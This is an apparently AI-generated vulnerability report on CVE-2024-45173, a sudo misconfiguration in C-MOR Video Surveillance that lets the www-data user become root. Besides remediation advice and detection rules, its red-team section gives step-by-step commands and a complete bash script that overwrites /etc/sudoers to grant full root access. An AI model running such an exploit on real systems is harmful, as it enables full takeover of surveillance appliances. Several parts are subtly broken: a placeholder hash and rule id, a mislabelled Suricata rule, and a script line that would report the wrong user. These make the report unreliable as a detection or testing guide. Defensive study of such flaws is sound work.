CVE-2024-45173

Executive Summary

CVE-2024-45173 is a privilege escalation vulnerability in za-internet C-MOR Video Surveillance version 5.2401. The flaw resides in improper privilege management concerning sudo privileges. The Linux user www-data, which runs the C-MOR web interface, can execute certain OS commands as root via sudo without entering the root password. Specifically, commands like cp, chown, and chmod are allowed, enabling an attacker to modify the system's sudoers file and subsequently execute all commands with root privileges. This allows an attacker with access to the web interface to escalate from the limited www-data user to full root access.

This vulnerability is critical for organizations using C-MOR Video Surveillance, as it can lead to full system compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in the C-MOR Video Surveillance appliance. The risk is in the supply chain of the appliance itself, where the vendor has misconfigured sudo privileges.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Base Score: 7.8 (High)

• Attack Vector (AV): Local (L) - The attacker must have local access to the system, specifically as the www-data user.
• Attack Complexity (AC): Low (L) - The attack is straightforward, requiring only the execution of allowed sudo commands.
• Privileges Required (PR): Low (L) - The attacker needs the privileges of the www-data user.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not change the scope of the affected component.
• Confidentiality (C): High (H) - Full system compromise leads to complete data access.
• Integrity (I): High (H) - The attacker can modify system files, including the sudoers file.
• Availability (A): High (H) - The attacker can disrupt system services.

Threat Level: High. The vulnerability is easy to exploit once an attacker has a foothold as the www-data user. The impact is complete system compromise.

Deep Dive & Mechanics

The vulnerability stems from a misconfiguration in the /etc/sudoers file or a file in /etc/sudoers.d/. The C-MOR application grants the www-data user the ability to execute specific commands (cp, chown, chmod) as root without a password. This is typically done via a line like:

www-data ALL=(root) NOPASSWD: /bin/cp, /bin/chown, /bin/chmod

While this may be intended for legitimate administrative functions of the web interface, it creates a privilege escalation vector. An attacker who has compromised the web interface (e.g., through another vulnerability or weak credentials) can use these commands to:

1. Copy the sudoers file: sudo cp /etc/sudoers /tmp/sudoers.bak
2. Modify the copied file: Add a line to grant www-data full sudo access: echo 'www-data ALL=(ALL) NOPASSWD: ALL' >> /tmp/sudoers.bak
3. Replace the original sudoers file: sudo cp /tmp/sudoers.bak /etc/sudoers
4. Execute any command as root: sudo whoami (returns root)

The key is that cp can overwrite any file, including the sudoers file, because it is executed as root. chown and chmod can be used to change ownership and permissions of files to further facilitate the attack.

Vulnerable vs. Patched Code

Vulnerable Configuration (C-MOR 5.2401):

The /etc/sudoers file (or a file in /etc/sudoers.d/) contains a line similar to:

www-data ALL=(root) NOPASSWD: /bin/cp, /bin/chown, /bin/chmod

Patched Configuration (Hypothetical):

A patched version would either:

• Remove the sudo privileges entirely and use a different mechanism (e.g., a dedicated daemon with limited capabilities).
• Restrict the commands to specific, non-dangerous arguments (e.g., sudo cp /var/www/html/* /backup/).
• Require a password for sudo execution.
• Use a more secure method like sudo with a specific script that validates input.

Example of a more secure (but still not ideal) configuration:

www-data ALL=(root) NOPASSWD: /usr/local/bin/c-mor-backup.sh

Where c-mor-backup.sh is a carefully written script that does not allow arbitrary file operations.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a C-MOR Video Surveillance instance (version 5.2401).
• A shell as the www-data user (e.g., via a web shell or command injection).

Exploitation Steps:

1. Verify sudo privileges:

   sudo -l
   

   Output should show:

   User www-data may run the following commands on this host:
       (root) NOPASSWD: /bin/cp, /bin/chown, /bin/chmod
   

2. Create a malicious sudoers file:

   echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /tmp/evil_sudoers
   

3. Overwrite the sudoers file:

   sudo cp /tmp/evil_sudoers /etc/sudoers
   

4. Escalate to root:

   sudo su -
   

Full Exploit Script (bash):

#!/bin/bash
# CVE-2024-45173 Privilege Escalation Exploit
# Usage: ./exploit.sh

echo "[*] Checking sudo privileges..."
sudo -l | grep -q "(root) NOPASSWD: /bin/cp, /bin/chown, /bin/chmod"
if [ $? -eq 0 ]; then
    echo "[+] Vulnerable sudo configuration found."
else
    echo "[-] Target does not appear vulnerable."
    exit 1
fi

echo "[*] Creating malicious sudoers file..."
echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /tmp/evil_sudoers

echo "[*] Overwriting /etc/sudoers..."
sudo cp /tmp/evil_sudoers /etc/sudoers
if [ $? -eq 0 ]; then
    echo "[+] Sudoers file overwritten successfully."
else
    echo "[-] Failed to overwrite sudoers file."
    exit 1
fi

echo "[*] Escalating to root..."
sudo su -c "echo '[+] Root access obtained. User: $(whoami)'"

Blue Team

Detection and Prevention:

1. Monitor sudo usage: Enable auditing of sudo commands. Use auditd to log all sudo executions.

   auditctl -w /etc/sudoers -p wa -k sudoers_change
   auditctl -w /bin/sudo -p x -k sudo_exec
   

2. Monitor file integrity: Use AIDE or Tripwire to monitor changes to /etc/sudoers and /etc/sudoers.d/.

3. Restrict sudo commands: If possible, remove the dangerous commands (cp, chown, chmod) from the sudoers file. Replace them with a specific script that performs only the necessary operations.

4. Implement least privilege: Ensure the www-data user has only the minimum necessary permissions.

5. Network segmentation: Isolate the C-MOR appliance on a separate VLAN to limit lateral movement.

6. Regular patching: Apply vendor updates as soon as they are available.

Indicators of Compromise (IOCs)

File System IOCs:

• Modification to /etc/sudoers or files in /etc/sudoers.d/.
• Presence of a backup file like /tmp/sudoers.bak or /tmp/evil_sudoers.
• Unexpected files in /tmp/ owned by www-data or root.

Process IOCs:

• Execution of sudo cp, sudo chown, or sudo chmod by the www-data user.
• Execution of sudo su or sudo -i by the www-data user.
• Unusual processes running as root that were spawned by the web server.

Network IOCs:

• Outbound connections from the C-MOR appliance to unknown IPs (potential C2).
• Unusual SSH or RDP connections from the appliance.

Log IOCs:

• /var/log/auth.log or /var/log/secure entries showing www-data executing sudo commands.
• /var/log/syslog entries related to sudoers file changes.

Detection Engineering

YARA Rule

rule CVE_2024_45173_Sudoers_Modification
{
    meta:
        description = "Detects modification of sudoers file by www-data user"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45173"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $s1 = "www-data ALL=(ALL) NOPASSWD: ALL" ascii wide nocase
        $s2 = "/etc/sudoers" ascii wide nocase
        $s3 = "sudo cp" ascii wide nocase

    condition:
        any of ($s1) or (all of ($s2, $s3))
}

Sigma Rule

title: CVE-2024-45173 - Privilege Escalation via Sudo Misconfiguration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2024-45173 where www-data user escalates to root via sudo.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45173
logsource:
    product: linux
    service: auth
detection:
    selection:
        User: "www-data"
        Command|contains: 
            - "sudo"
            - "cp"
            - "chown"
            - "chmod"
            - "/etc/sudoers"
    condition: selection
falsepositives:
    - Legitimate administrative actions by the web application.
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45173 - Potential C2 Traffic from C-MOR"; flow:to_server,established; content:"|2f 65 74 63 2f 73 75 64 6f 65 72 73|"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict sudo privileges: Edit the /etc/sudoers file (using visudo) and remove the cp, chown, and chmod commands from the www-data user's allowed list. Replace them with a specific script if necessary.
2. Apply vendor patch: Contact za-internet for a security patch. If unavailable, implement the above workaround.
3. Audit for compromise: Check for signs of exploitation using the IOCs provided.

Long-term Mitigations:

1. Implement the principle of least privilege: Ensure all service accounts have only the minimum necessary permissions.
2. Use a configuration management tool: Tools like Ansible, Puppet, or Chef can enforce secure sudo configurations.
3. Regular security assessments: Conduct periodic vulnerability scans and penetration tests.
4. Network segmentation: Place critical systems like video surveillance on isolated networks.
5. Enable logging and monitoring: Use a SIEM to correlate events and detect suspicious activity.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.